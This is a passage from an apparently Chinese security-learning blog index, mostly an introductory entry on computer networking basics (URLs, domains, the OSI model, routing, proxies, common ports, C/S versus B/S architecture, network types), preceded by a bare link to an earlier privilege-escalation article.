MOF提权https://www.sqlsec.com/2020/11/mysql.html#MOF-%E6%8F%90%E6%9D%83https://www.sqlsec.com/2020/11/mysql.html#MOF-%E6%8F%90%E6%9D%83","tags":["信息安全","信息收集","Nday","权限提升"],"categories":["Security"]},{"title":"五. 计算机网络基础","path":"/2020/06/06/82a73708/","content":"总字符数: 39.02K 代码: 1.56K, 文本: 25.86K 预计阅读时间: 1.99 小时 Web请求过程剖析 Web(World Wide Web)是指全球范围内的一系列互联网资源和文件的集合,这些资源和文件通过超文本传输协议(HTTP)进行传输和访问. 我们通常所说的Web指的是面向大众的互联网,是一种基于互联网的信息传递和共享方式. 通俗来说,Web就像是一座大图书馆,里面收藏了无数的书籍和资料. 我们可以通过电脑、手机等设备连接到互联网,访问Web上的各种网站和应用,获取各种信息和服务.就像在图书馆里查阅书籍一样 我们可以在Web上搜索各种信息、浏览新闻、购买商品、观看视频、玩游戏等等. 同时,我们也可以通过Web来发布信息、分享知识、交流想法、开展业务等等,使得信息的传递和共享更加便捷和高效. 那就先引入一个叫URL的概念 URL构成这是重点!!!! 123456789# 名词解释scheme:协议Domain Name:域名Port:端口号Path to the file:虚拟目录/或文件名myfile.html:文件名Parameters:参数Anchor:锚点# HTML中的锚点(Anchor)是指在同一页面内,通过添加链接到页面中的某个具体位置,使得用户可以直接跳转到该位置的标识.锚点的作用是可以方便用户快速定位到页面中的某个具体位置,而不需要手动滚动页面进行查找.锚点通常使用a标签和name属性来实现 上面又提到了一个名词:域名!那什么是域名呢? 域名 域名(Domain Name)是互联网上用于标识和定位网站的一种名称.它是由一串用点分隔的字符组成的,通常包含站点的名称、组织机构的名称、国家或地区的名称等等,最后以一个顶级域名结尾,如.com、.cn、.org等等. 域名的作用是将IP地址(Internet Protocol Address)转化为易于记忆的字符串,使人们更方便地访问互联网上的各种资源,如网站、电子邮件、FTP等等. 域名的注册和管理由全球互联网域名与地址分配机构(ICANN)负责,全球各地的注册商可以向ICANN申请注册和管理不同的顶级域名,如.com、.cn、.org等等.一般而言,注册商会向用户提供域名注册和管理服务,用户可以在注册商的网站上查询和申请域名、设置DNS服务器、管理域名等等. 总的来说,域名是互联网上的一个重要概念,它使人们更加方便地访问和管理各种网络资源,是互联网基础架构的重要组成部分. 以上提到的DNS服务器的作用就是将域名解析为IP地址 域名的作用是什么?为什么会出现这种东西?域名在互联网上扮演着关键角色,其重要性可以从多个角度来理解:便于记忆:就像名字比身份证号更易于记忆和传递,域名用易记的单词替代数字组成的IP地址,让人们轻松地记住和访问网站.访问便利:域名作为网站的地址,使得用户可以快速访问到企业和组织的在线信息,而不需要记忆可能频繁变更的IP地址.抽象层:域名隐藏了网络复杂性,用户不需要了解服务器的具体IP地址和网络连接细节,只需知道简单的域名.品牌识别:域名与企业品牌紧密关联,成为企业在互联网上宣传品牌形象的有力工具.组织结构:域名系统的层级结构,类似行政区划的级别,有助于组织和管理网络上复杂的身份与资源.网络架构:在互联网的快速发展中,域名使得单个IP地址可以托管多个网站,并在服务器变更时为用户提供无缝访问体验.综合以上各点,我们可以看到域名不仅仅是一个方便记忆和访问的标签,它还是网络上企业身份的象征、品牌宣传的平台,以及组织网络资源的有效工具.简而言之,域名是连接用户和互联网服务的桥梁,其重要性不言而喻.通过这个网络地址,人们可以轻松地在广阔的互联网世界中找到和接触到企业或个人的在线门户. 请求过程剖析 Web服务器的过程可以简单理解为以下几个步骤: 客户端发送请求:当用户在浏览器中输入网址或者点击链接时,浏览器会向Web服务器发送一个HTTP请求. Web服务器接收请求:Web服务器收到请求后,会根据请求的URL路径和参数等信息,找到对应的服务器程序,然后调用相应的处理函数. 服务器程序处理请求:服务器程序会根据请求的内容,执行相应的逻辑,比如读取数据库中的数据、生成动态页面等操作. 服务器程序返回响应:服务器程序处理完请求后,会将处理结果封装成HTTP响应,包括响应码、响应头、响应体等信息,发送给Web服务器. Web服务器返回响应:Web服务器收到服务器程序返回的响应后,将其发送给客户端浏览器,浏览器根据响应内容进行解析和渲染,最终呈现给用户. 整个过程中,Web服务器起到了桥梁的作用,连接了客户端浏览器和服务器程序,并负责将双方的请求和响应进行转发和处理. 渲染模式 服务器渲染(MVC):在服务器那边直接把数据和html整合在一起,统一返回给浏览器,在页面源代码中可以看到数据 客户端渲染(MVVM):第一次请求只要一个html骨架.第二次请求拿到数据,进行数据展示.在页面源代码中看不到数据 客户端渲染和服务端渲染都是常见的Web开发方式,它们各自具有一些优缺点. 客户端渲染优点:用户交互体验好:由于客户端渲染使用了JavaScript的动态渲染,可以实现更加流畅的界面交互效果.更好的分离前后端:前端只需要关注如何处理数据和呈现内容,不用关心后端如何生成页面,这样可以更加灵活地进行前后端的分离.缺点:首屏加载慢:由于客户端需要先下载页面的HTML和JavaScript代码,再通过JavaScript进行渲染,所以首屏加载速度相对较慢.对浏览器性能要求高:客户端渲染需要大量的JavaScript计算和DOM操作,这对浏览器性能有较高的要求.服务端渲染优点:首屏加载快:由于服务端渲染直接生成HTML页面,所以首屏渲染速度很快.对浏览器性能要求低:服务端渲染不需要大量的JavaScript计算和DOM操作,对浏览器性能要求较低.缺点:用户交互体验差:由于服务端渲染只在页面加载时渲染HTML,不支持动态更新,所以用户交互效果相对较差.前后端分离不够彻底:服务端渲染需要将前端和后端的逻辑结合在一起,相对较难实现真正的前后端分离.对服务器性能要求高:服务端需要承担渲染页面的工作,所以对服务器的性能有较高的要求. 综上所述,客户端渲染和服务端渲染各自有其优缺点,选择哪种方式需要根据具体的应用场景和需求进行权衡. 网络专业术语 什么是网络? 网络(network)是指连接在一起的计算机、设备和其他物体的集合,使它们能够相互通信和交换数据. 这些设备可以是电脑、手机、路由器、交换机、服务器等. 网络可以是局域网(Local Area Network,简称 LAN)、广域网(Wide Area Network,简称WAN)、城域网(Metropolitan Area Network,简称MAN) 等不同范围的连接. 在一个网络中,设备通过协议进行通信,这些协议规定了通信过程中需要遵守的规则和标准,例如TCP/IP协议就是一种常见的网络协议.通过网络,用户可以在不同的地理位置之间共享信息、资源和服务,例如电子邮件、网页浏览、在线视频、远程文件访问等.网络在现代社会中扮演着非常重要的角色,它不仅使人们更容易地获取信息和资源,还支持了商业、教育、娱乐、社交等各个领域的发展. 什么是OSI七层模型? OSI(开放式系统互联)七层模型是一种标准的网络通信架构,它将网络通信过程划分为七个不同的层次. 每个层次都负责特定的功能,从物理传输到应用层面,通过定义每个层次之间的接口和协议,使得不同的网络设备和系统可以相互通信. 下面是OSI七层模型的层次及其功能: 物理层(Physical Layer):负责在物理介质上传输原始比特流,它定义了如何传输数据的物理媒介、 信号的编码和解码方式、电气和机械规范等. 数据链路层(Data Link Layer):将物理层提供的原始比特流转化为数据帧,以提供可靠的点对点通信,主要完成数据帧的组帧和解帧、差错检测和纠正等功能. 网络层(Network Layer):负责为数据包选择路由和传输,为不同的应用程序提供透明的通信服务. 主要包括寻址、路由选择、流量控制、拥塞控制等功能. 传输层(Transport Layer):提供端到端的数据传输服务,为应用程序提供可靠的数据传输机制.主要完成数据分段、流量控制、差错检测和纠正等功能. 会话层(Session Layer):负责建立、管理和维护应用程序之间的会话连接,包括会话的建立、维护 和结束等功能. 表示层(Presentation Layer):负责数据格式的转换,确保应用程序能够理解和处理来自其他应用程序的数据.主要完成加密、压缩、格式转换等功能. 应用层(Application Layer):提供网络应用程序与用户之间的接口,为用户提供各种网络应用服务, 如电子邮件、文件传输、远程登录等. 通过将网络通信过程划分为不同的层次,OSI七层模型可以促进不同厂商、不同类型的网络设备之间的互操作性,从而实现全球范围内的互联网通信. 物理层物理层是OSI七层模型中的第一层,也是整个网络体系结构的底层.该层的主要任务是将比特流(0和1)转换为物理信号,并在网络中传输这些信号. 物理层的功能包括: 建立和维护物理连接:物理层负责在通信设备之间建立物理连接,如使用网线、光缆等连接设备. 传输数据:物理层负责将比特流通过物理信号传输到另一台设备,以实现数据的传输. 编码和调制:物理层负责将数字信号转换成模拟信号,以便在物理介质上传输. 时钟同步:物理层负责保证发送和接收设备的时钟同步,以确保正确地传输数据. 电气和机械规范:物理层定义了物理媒介、信号电压、频率和传输速率等方面的规范,以确保不同设备 之间的互操作性. 总之,物理层的主要作用是将数字信号转换为物理信号并将其传输到目标设备,以便在网络中进行通信. 物理层的作用:连接不同的物理设备,传输比特流.该层为上层协议提供了一个传输数据的可靠的物理媒体.简单的说,物理层确保原始的数据可在各种物理媒体上传输. 物理层设备: 物理层是网络模型中的第一层,负责将比特流转换为物理信号,并在物理媒介上传输这些信号.以下是一些在物理层中使用的设备: 网卡(Network Interface Card):也称为网络适配器或网卡,是连接计算机到网络中的硬件设备.它 负责将比特流转换为物理信号,并通过物理媒介传输这些信号. 集线器(Hub):是一种被动设备,用于将多个计算机连接到网络上.它的主要功能是将来自一个端口 的数据广播到所有其他端口. 中继器(Repeater):是一种放大信号的设备,用于扩展网络的物理距离.中继器接收信号后,放大并 重新发送到下一个设备. 光纤收发器(Optical Transceiver):是一种用于将数字信号转换成光信号的设备.它通常用于连接两 个网络设备之间的光纤. 传输介质(Transmission Media):包括电缆、光缆、无线电波等物理媒介,用于在网络设备之间传输信号. 这些设备和媒介都是物理层中使用的基本元素,它们共同构成了计算机网络的基础设施,使得计算机之间能 够通过物理媒介进行通信. 数据链路层数据链路层是OSI七层模型中的第二层,位于物理层之上,它的主要功能是将数据帧从一个物理节点传输到另一个物理节点,保证数据在物理层的传输的可靠性和正确性. 数据链路层的主要功能包括: 帧同步:数据链路层负责将物理层传输的比特流组成数据帧,并在帧之间进行同步,以确保帧的可靠传输. 帧的识别:数据链路层负责在数据帧中添加头部和尾部,以便识别帧的起始和结束位置,并进行帧的检错和纠错处理. 访问控制:数据链路层实现了访问控制,以管理多个设备之间的共享物理媒介,例如以太网中的 CSMA/CD协议. 流量控制:数据链路层负责管理传输数据的速率,以确保数据不会被发送端发送太快,而接收端无法及时处理. 错误检测和纠正:数据链路层负责检测和纠正数据传输过程中出现的错误,例如奇偶校验、CRC检验等. 在数据链路层中,常用的设备包括网桥(Bridge)和交换机(Switch).网桥用于连接两个不同的局域网, 而交换机则用于连接多个局域网,并将数据帧从一个端口传输到另一个端口.这些设备在数据链路层起着重 要的作用,帮助实现了数据的可靠传输和访问控制. 有关数据链路层的重要知识点: 数据链路层为网络层提供可靠的数据传输; 基本数据单位为帧; 主要的协议:以太网协议; 两个重要设备名称:网桥和交换机. 封装成帧:”帧”是数据链路层数据的基本单位: MAC地址:每一个设备都拥有唯一的MAC地址,共48位,使用十六进制表示. 以太网协议:是一种使用广泛的局域网技术,是一种应用于数据链路层的协议,使用以太网可以完成相邻设备的数据帧传输 网络层网络层(Network Layer)是计算机网络体系结构中的第三层,也被称为互联网层(Internet Layer).它负责将网络上的数据包从源主机传输到目的主机,实现不同网络之间的互联互通. 网络层的主要功能包括: 网络寻址:网络层使用IP地址来标识不同的主机和网络.源主机将数据包发送到目的主机时,需要知道目的主机的IP地址,这样才能将数据包正确地路由到目的主机. 路由选择:当数据包经过多个网络时,网络层需要根据不同的路由算法选择最佳的路径将数据包传输到目的主机. 分段和重组:如果数据包的大小超过了网络层所支持的最大传输单元(MTU),网络层需要将数据包分 段,然后将每个分段单独传输,并在目的主机处将它们重组成原始的数据包. 网络层的重要协议包括IP协议、ICMP协议、ARP协议等.IP协议是网络层的核心协议,它定义了IP地址的格 式、数据包的封装和路由选择等重要功能.ICMP协议用于传输网络层的控制消息,例如错误报告和网络故障 信息等.ARP协议则用于将IP地址转换为物理地址,以便网络层能够将数据包正确地发送到目的主机. 网络层的主要协议: IP协议(Internet Protocol,因特网互联协议) ICMP协议(Internet Control Message Protocol,因特网控制报文协议) ARP协议(Address Resolution Protocol,地址解析协议) RARP协议(Reverse Address Resolution Protocol,逆地址解析协议) 网络层重要的设备:路由器 传输层传输层是计算机网络体系结构中的一个重要层次,它负责在网络之间传输数据,并为应用程序提供端到端的数据传输服务.传输层协议位于网络层和应用层之间,主要负责以下几个方面: 端口标识和多路复用:传输层使用端口号标识不同的应用程序,并提供多路复用和多路分解功能,使得多个应用程序可以共享网络连接. 数据传输可靠性:传输层使用TCP协议提供可靠的数据传输服务,保证数据传输的完整性和可靠性;使用UDP协议提供无连接的数据传输服务,速度较快但不可靠. 拥塞控制和流量控制:传输层使用TCP协议实现拥塞控制和流量控制,防止网络拥塞和数据包丢失. 常见的传输层协议包括TCP和UDP协议. TCP协议提供面向连接的、可靠的数据传输服务,适用于要求数据传输可靠性和完整性的应用场景 UDP协议提供无连接的、不可靠的数据传输服务,适用于要求数据传输速度和实时性的应用场景 有关网络层的重点: 传输层负责将上层数据分段并提供端到端的、可靠的或不可靠的传输以及端到端的差错控制和流量控制问题 包含的主要协议:TCP协议(Transmission Control Protocol,传输控制协议)、UDP协议(User Datagram Protocol,用户数据报协议) 重要设备:网关 会话层会话层(Session Layer)是OSI模型中的第五层,它提供了建立、管理和终止通信会话的机制.通信会话是指在网络中两个或多个设备之间的一系列交互,这些交互通常涉及数据交换、传输控制、错误检测和纠正等功能. 会话层的主要功能包括以下几个方面: 建立会话:会话层负责建立两个设备之间的通信会话,并确定通信双方的身份. 维护会话:在通信会话期间,会话层负责保持会话的状态信息,并确保通信双方之间的通信顺畅. 终止会话:当通信会话结束时,会话层负责关闭会话,并清除所有相关的状态信息. 管理会话:会话层还负责管理会话期间可能出现的各种错误和异常情况,以确保通信的可靠性和稳定 性. 总之,会话层在网络通信中扮演着重要的角色,它确保通信会话的顺利进行,并提供了各种必要的功能,以确保通信的可靠性、安全性和稳定性. 表示层表示层(Presentation Layer)是OSI模型中的第六层,它主要负责处理数据的表示和编码,以确保通信双方能够理解和解释彼此发送的数据. 表示层的主要功能包括以下几个方面: 数据格式化:表示层将数据从应用层接收后,负责将其转换为一种标准格式,以便于传输和接收. 数据加密和解密:为了确保通信的安全性,表示层可以对传输的数据进行加密和解密处理,以保护数据 的机密性和完整性. 数据压缩和解压缩:在网络传输过程中,数据传输的速度往往是非常重要的.表示层可以通过对数据进 行压缩和解压缩处理,以减小数据传输的大小,提高传输效率. 数据编码和解码:不同的计算机系统和应用程序之间,可能会使用不同的数据编码格式.表示层可以将 不同编码格式之间的数据进行转换和解码,以确保数据的正确传输和解释. 总之,表示层是网络通信中非常重要的一层,它确保了数据在传输过程中的正确性、可读性和安全性,同时也提高了数据传输的效率和可靠性. 应用层应用层是计算机网络体系结构中的最高层,它为用户提供了许多网络应用程序,如电子邮件、文件传输、 Web浏览器等. 应用层协议是在应用层之上运行的协议,用于定义应用程序之间的通信规则.常见的应用层协议包括HTTP、FTP、SMTP、POP3、IMAP、DNS等. 应用层的主要功能是实现应用程序之间的通信和数据交换,应用层协议负责规定数据的格式、编码和传输方式,以及通信双方的行为.应用层协议通常使用基于TCP或UDP协议的传输层协议来传输数据,因此应用层协议的功能和性能往往受限于传输层协议的限制. 应用层协议是网络通信中的重要组成部分,它为用户提供了各种各样的网络应用程序,并促进了互联网的普及和发展. 数据传输基本单位为报文;包含的主要协议:FTP(文件传输协议)、Telnet(远程登录协议)、DNS(域名解析协议)、SMTP(邮件传送协议),POP3协议(邮局协议),HTTP协议(超文本传输协议). 什么是寻址?什么是路由? 寻址就是通过一个地址来找到存储器中的数据或者设备中的寄存器,就好像你知道了一个房间的地址,就可以去到这个房间里找到你需要的东西一样.在计算机中,寻址是非常重要的过程,因为计算机需要通过地址来访问内存中的指令和数据,才能完成各种操作. 例如,当你打开一个软件或者浏览器时,计算机就需要通过地址来寻找这个软件或者浏览器的指令和数据,才能把它们加载到内存中,然后运行起来.在计算机指令中,也常常需要使用寻址的方式来访问内存中的数据,例如,将一个内存单元中的数据移动到寄存器中时,需要指定内存单元的地址. 通俗来讲寻址,就是要通过地址找某一样东西. 路由就是计算机网络中用来实现不同网络之间通信的一种设备或者技术. ​\t比如,你家用的无线路由器就是一种路由设备.它会将来自不同设备的数据包进行分类,并将它们发送到不同的目标网络,从而实现了不同设备之间的通信. 在计算机网络中,每个设备都有一个唯一的IP地址,路由器就是通过这些IP地址来进行数据包的转发. 当一个设备需要发送数据到另一个设备时,它会将数据包发送给它所在的网络中的路由器,路由器会根据目标IP地址来判断这个数据包应该被发送到哪个网络中,然后将数据包发送给下一个路由器,直到最终到达目标设备所在的网络,然后被目标设备接收. 路由技术在互联网中尤其重要,因为互联网是由众多的网络组成的,不同的网络可能使用不同的协议和技术,但通过路由器可以实现它们之间的互联互通. 这样,我们才能在任何地方都能访问互联网上的各种资源,包括网站、文件、视频等等. 路由器本质上是一种网关,是互联网的一个结点设备.实现的功能是对不同网络之间的数据包进行存储和分组转发.简单来说,大家可以把路由器理解为网络分发工具. 通俗来讲路由可以看做现实生活中的”路标”,就是路牌.它的作用就是给数据包指路的,而现实生活中,路标是给汽车指路的. 代理(Proxy)是什么?代理: 代理(Proxy)是一种网络通信模式,它充当了客户端和服务器之间的中间人,将客户端的请求转发给服务器,并将服务器的响应返回给客户端.代理的作用是隐藏客户端和服务器之间的真实IP地址,保护用户的隐私和安全,同时可以优化网络通信,提高访问速度和稳定性.代理常见的类型有正向代理和反向代理. 正向代理: 正向代理(Forward Proxy)是代表客户端向服务器发送请求的代理服务器.在正向代理的情况下,客户端需要将请求发送给代理服务器,然后由代理服务器向服务器发送请求,并将服务器的响应返回给客户端.正向代理常用于访问被封锁的网站,保护客户端IP地址隐私,以及优化网络通信等. 反向代理: 反向代理(Reverse Proxy)是代表服务器向客户端发送响应的代理服务器.在反向代理的情况下,客户端将请求发送给反向代理服务器,然后由反向代理服务器向服务器发送请求,并将服务器的响应返回给客户端.反向代理常用于负载均衡、高可用性(HA)和安全性等方面,可以将请求分发到不同的服务器上,从而提高访问速度和稳定性,同时也可以隐藏服务器的真实IP地址,提高安全性. 单工、半双工、全双工又是什么? 单工:简单的说就是一方只能发信息,另一方则只能收信息,通信是单向的. 半双工:比单工先进一点,就是双方都能发信息,但同一时间则只能一方发信息. 全双工:比半双工再先进一点,就是双方不仅都能发信息,而且能够同时发送. 单播、广播、组播?哪款用来表白好呢?表白为什么要表白? 通信方式分类在IPv4网络中,主机可采用的通信方式有如下三种: 单播:单台主机与单台主机之间的数据通信 广播:单台主机向网络中所有主机发送数据包的过程 组播:单台主机向选定的一组主机发送数据包的过程单播、广播以及组播的用途各不相同,并且使用不同的IP地址做为目的地址. 单播单播是指单台设备与单台设备之间的通信,源地址和目的地址都是单一的IPv4地址,单播数据包的通信可以在网络之间转发.在实际的网络通信中,大多数的通信都属于单播. 广播(组播)广播是一台主机向网络中所有主机发送数据包,广播的目的地址不同于单播单一的地址. 扩展知识广播有两类:定向广播和有限广播定向广播是将数据包发送到向本网络之外的特定网络所有主机,定向广播的目的地址是定向网络的广播地址,如当前网络为192.168.0.0/24,要向192.168.1.0/24的网络发送定向广播,那么定向广播的目的地址是:192.168.1.255.可以配置路由器让其转发定向广播有限广播是将数据包发送到本地网络的所有主机,有限广播使用的目的地址是:255.255.255.255.路由器不转发此广播. 组播(多播) 通信类型 描述 优点 缺点 注意事项 单播 单台设备与单台设备之间的通信 数据直达特定接收者,隐私性好 在多接收者时效率低,重复数据多 - 广播 单台设备向网络中所有主机发送数据 简单,无需特定路由,所有节点均可接收 可能导致网络拥塞,安全性低 一般限于单个广播域内,不跨越路由 组播 向指定的一组主机发送数据 相比广播减少网络流量,比单播更高效 需要网络支持IGMP等组播协议 接收组播的客户机需要安装相应的客户端程序,网络设备需要配置 吞吐量?难道指的是我们吐的量吗? 吞吐量是指在一定时间内系统或设备处理的数据量或事务数量.通俗理解吞吐量就好比是一条河流的水流量,河流的水流量表示在一定时间内河流中流过的水的数量. 吞吐量表示在一定时间内系统或设备处理的数据量或事务数量.如果一条河流水流量大,就能够承载更多的水和物质,同样地,如果一个系统的吞吐量大,就能够处理更多的数据或事务.因此,提高系统吞吐量是提高系统性能的一个重要指标. 端口在计算机网络中,端口(Port)是一种逻辑标识符,用于标识网络应用程序.每个网络应用程序都可以选择使用一个或多个端口来进行通信 比如学校同一个食堂卖菜的管卖菜,卖饮料的管饮料 同一台电脑对外来说只有一个IP,但是一台电脑可以提供各种不同的服务,比如WEB服务,FTP服务,SMTP邮件服务. 端口就是用来区别服务的,也就是说网络上的服务是用IP+端口这样的形式来区别的. 不同的服务或协议通常会使用不同的端口号,比如FTP服务使用的是21端口,SSH服务使用的是22端口,SMTP服务使用的是25端口,等等. 端口号的范围是从0到65535 端口被分为三类: 熟知端口(Well-known Ports):它们的端口号在0到1023之间,通常用于一些系统或常用服务,如 HTTP(端口80)、FTP(端口21)、SSH(端口22)、Telnet(端口23)等. 注册端口(Registered Ports):它们的端口号在1024到49151之间,通常用于一些应用程序或服务, 如Oracle数据库(端口1521)、MySQL数据库(端口3306)等. 动态/私有端口(Dynamic/Private Ports):它们的端口号在49152到65535之间,通常用于客户端应用程序临时分配的端口号. 了解常用的端口号可以帮助我们更好地理解网络协议和应用程序的通信方式.在网络故障排除和安全管理中,端口号也经常被用来诊断和解决问题. 以下是常见的端口: 21:FTP(文件传输协议) 22:SSH(安全外壳协议) 23:Telnet(远程终端协议) 25:SMTP(简单邮件传输协议) 53:DNS(域名系统) 80:HTTP(超文本传输协议) 110:POP3(邮局协议版本3) 143:IMAP(互联网消息访问协议) 161:SNMP(简单网络管理协议) 443:HTTPS(安全超文本传输协议) 465:SMTPS(加密SMTP) 587:SMTP(带有扩展功能的邮件传输协议) 993:IMAPS(加密IMAP) 995:POP3S(加密POP3) 3389:RDP(远程桌面协议) 这些是常用的端口,但实际上端口号远不止这些,每个应用程序都可以选择不同的端口号.了解常用端口号可以帮助我们更好地了解网络协议和应用程序. 数据库使用的端口号取决于数据库管理系统(DBMS)和配置.以下是一些常见的数据库管理系统使用的默认端口号: MySQL:3306 PostgreSQL:5432 Oracle数据库:1521 Microsoft SQL Server:1433 MongoDB:27017 Redis:6379 需要注意的是,这些是默认端口号,具体端口号还要取决于数据库的具体配置.如果需要连接到不同的端口号,用户需要在连接字符串或配置文件中指定相应的端口号. B/S C/S目前PC端应用有两种开发模式,分别为CS和BS CSCS即Client/Server(客户机/服务器)结构,C/S结构在技能上非常成熟,它的重要特征就是交互性强、拥有安全的存取形式、网络通信数量低、响应速度快、利于处置大量数据.可是这个结构的程序就是针对性开发,变更不够灵活,维护与管理的难度较大.常常只局限在小型局域网,不利于扩展.而且,因为这个结构的每台客户机全部须要安装相对应的客户端程序,分布功能弱并且兼容性差,不可以完成迅速部署安装与配置,因为这样缺少通用性,拥有比较大的局限性.请求拥有肯定专业水准的技能人员去结束. BSBS即Browser/Server(浏览器/服务器)结构,就是只安装维护一个服务器(Server),而客户端选用浏览器(Browser)运行软件.B/S结构应用程序相对于传统的C/S结构应用程序就是一个特别大的进步. B/S结构的重要特征就是分布性强、维护方便、开发简单并且共享性强、总体拥有费用低.但数据安全性问题、对服务器需要过高、数据传输速度慢、软件的个性化特征明显减少,这些缺点就是有目共睹的,难以完成传统形式下的特殊功能请求.比如通过浏览器实行大量的数据输入或实行报表的应答、专用性打印输出全部相对比较困难与不便.另外,完成复杂的应用构造有较大的困难.两者重要优缺点如下: CS架构优缺点优点:可以足够表现客户端PC的处置才能,很多工作能够在客户端处置以后再提交给服务器,于是CS客户端响应速度快.操作界面漂亮、形式多样,能够足够满足客户自己的个性化要求.C/S结构的管理信息系统拥有比较强的事务处置才能,可以完成复杂的业务过程.安全性能能够非常容易确保,C/S通常面向相比固定的用户群,程序越发注重过程,它能够对权限实行多层次校验,提供了更安全的存取形式,对信息安全的控制才能非常强.通常高度机密的信息系统选用C/S结构适宜.缺点:须要专门的客户端安装程序,分布功能弱,针对点多面广且不具备网络条件的用户群体,不可以完成迅速部署安装与配置.兼容性差,关于不一样的开发工具,拥有比较大的局限性.假如选用不一样工具,须要重新改写程序.开发、维护费用较高,须要拥有肯定专业水准的技术人员才可以结束,发生一次升级,就全部客户端的程序全部须要更改.用户群固定.因为程序须要安装就可使用,因为这样不符合面向一些不可知的用户,于是实用面窄,常常用来局域网中.BS架构优缺点优点:分布性强,客户端零维护.只需有网络、浏览器,能够随时随地实行查询、浏览等业务处理.业务扩展简单便利,通过添加网页就可以添加服务器功能维护简单便利,只须要更改网页,就可以完成全部用户的同步更新.开发简单,共享性强.缺点:个性化特征明显减少,没办法完成拥有个性化的功能要求在跨浏览器上,BS架构不尽如人意.客户端服务器端的交互就是请求-响应形式,常常动态刷新页面,响应速度明显减少(Ajax能够肯定程度上处理这个问题).没办法完成分页显示,给数据库访问导致较大的压力.在速度与安全性上须要花费超大的设计费用.功能弱化,难以完成传统形式下的特殊功能需要. 小结CS响应速度快,安全性强,可是开发维护费用高;BS能够完成跨平台,客户端零维护,可是个性化才能低,响应速度较慢.于是有一些单位平日办公应用BS,在实际生产当中使用CS结构. 网络分类网络可以按照不同的标准进行分类,以下是一些常见的分类方式: 按照地理范围分类网络类型描述优点缺点应用场景局域网 (LAN)涵盖小范围地理区域,如家庭、办公室或学校数据传输速度快,建设成本低覆盖范围有限家庭、小型至中型办公室、学校城域网 (MAN)涵盖城市范围,通常由多个LAN连接而成能连接远距离的局域网,速度相对较快建设和维护成本比LAN高城市或大型企业,如市政机构或教育机构网络广域网 (WAN)涵盖更广泛的地理范围,跨越国家或大陆覆盖范围广,能连接国际间的网络建设成本高,维护复杂,速度可能有限互联网、大型跨国公司和研究机构之间的网络按照拓扑结构分类网络拓扑类型描述优点缺点应用场景总线型网络所有设备连接到一条中央总线上成本低廉,易于实施,适合小规模网络总线出现故障会影响所有设备,通信可能会发生碰撞小型办公室、学校网络星型网络所有设备连接到一个中央设备上易于监控和管理,单点故障不影响其他设备中央设备故障可能导致整个网络瘫痪,成本高于总线型网络家庭网络、企业网络环型网络所有设备沿着一个环形线路连接起来数据传输延迟相对固定,适合有固定数据路径需求的场景增减节点可能会影响网络的运作,单点故障影响整个网络一些特定要求稳定传输的工业控制环境网状型网络多个设备之间直接连接提高了网络的可靠性和冗余性成本较高,管理和配置相对复杂需要高可靠性的应用,如互联网的核心网络树型网络结合了星型和总线型网络的特点易于扩展成大型网络,分层管理可以简化网络管理顶层中央节点故障会影响下面的所有设备大型组织或分布式组织,如ISP网络按照使用者分类网络类型描述优点缺点应用场景公共网络对任何人开放,如互联网存取开放,资源丰富,连接全球安全风险较高,隐私控制较弱一般互联网活动,信息共享,社交媒体私有网络只对特定组织或个人开放,如企业内部网络或个人家庭网络安全性较高,可定制化强,控制访问权限建设成本和管理成本可能较高,资源有限企业网络,家庭网络以下是IANA定义的标准私网IP地址范围:`10.0.0.0`到10.255.255.255、172.16.0.0 到 172.31.255.255、192.168.0.0 到 192.168.255.255 其余的都是公网网段按照技术分类网络类型描述优点缺点应用场景有线网络使用电缆或光纤等有线媒介进行通信的网络传输速度稳定快速,受干扰小,安全性相对较高需要布线,灵活性相对较低办公楼、数据中心、学校无线网络使用无线电波等无线媒介进行通信的网络,如Wi-Fi和蓝牙网络布置灵活,扩展容易,便于移动设备连接受环境影响大,安全性和速度可能较低家庭、咖啡店、公共场所混合网络同时使用有线和无线媒介进行通信的网络结合有线和无线的优点,灵活且功能全面建设和维护相对复杂,成本可能较高大型企业、校园网、智能家居系统 网络的分类可以根据不同的标准进行,不同的分类方式可以从不同的角度切入,对于不同应用场景的网络建 设有着重要的指导意义. 地理范围分类局域网局域网(Local Area Network,LAN)是指在一个较小的地理范围内,由多台计算机和设备组成的通信网络.通常情况下,这个范围不会超过几个建筑物或者一个校园.局域网通常由一些硬件设备(例如交换机、路由器、网桥等)和软件设备(例如操作系统、网络协议、应用 程序等)组成.局域网中的设备可以通过有线或者无线方式进行连接,使得设备之间可以互相通信和共享资源,例如打印机、文件服务器、数据库等.局域网的优点包括传输速度快、安全性高、成本低等.由于其覆盖范围较小,因此可以使用较低功率的网络 设备进行建设和维护,同时也可以更加容易地实现管理和控制.常见的局域网应用包括企业内部网络、学校网络、家庭网络等.城域网城域网(Metropolitan Area Network,MAN)是指连接在一个城市范围内的计算机和网络设备组成的局域网.城域网的覆盖范围比局域网更广,通常是几个到几十个公里.城域网通常是由多个局域网通过网桥、路由器等网络设备相互连接而成.这些设备可以将局域网之间的数据进行转发和路由,从而实现城域网之间的通信.城域网中的计算机和设备可以共享资源,例如文件、打印机、数据库等.城域网的优点包括传输速度快、可靠性高、覆盖范围广等.它可以为一个城市内的不同组织和企业提供通信和资源共享的平台,支持城市范围内的电子商务、远程教育、视频会议等应用.常见的城域网应用包括大型企业内部网络、政府机构网络、医院网络等.广域网广域网(Wide Area Network,WAN)是指连接在不同地理位置上的计算机和网络设备组成的网络.广域网的覆盖范围比城域网和局域网更广,可以跨越多个城市、地区、甚至是国家和大洲.广域网通常是由多个城域网或者局域网通过路由器、交换机等网络设备相互连接而成.广域网中的数据通常 通过互联网或者专用线路进行传输.广域网中的计算机和设备可以互相通信和共享资源,例如文件、数据库、应用程序等.广域网的优点包括覆盖范围广、连接速度快、可靠性高等.它可以为跨越不同地理位置的组织和企业提供通信和资源共享的平台,支持远程办公、远程教育、视频会议、云计算等应用.常见的广域网应用包括跨国企业网络、电信运营商网络、云服务提供商网络等.互联网互联网(Internet)是指全球范围内相互连接的计算机网络,其目的是为了实现信息的共享和交流.互联网的发展始于20世纪60年代,经过几十年的演进和发展,如今已成为全球最大的信息资源库和通信平台之一.互联网的特点包括开放性、去中心化、信息共享和交互性.任何人都可以通过互联网来获取和发布信息,无需事先获得任何特殊权限或授权.互联网是去中心化的,没有一个中心控制机构可以掌控整个互联网,而是由许多不同的网络和服务器组成.互联网还具有信息共享和交互性的特点,使得人们可以通过电子邮件、社 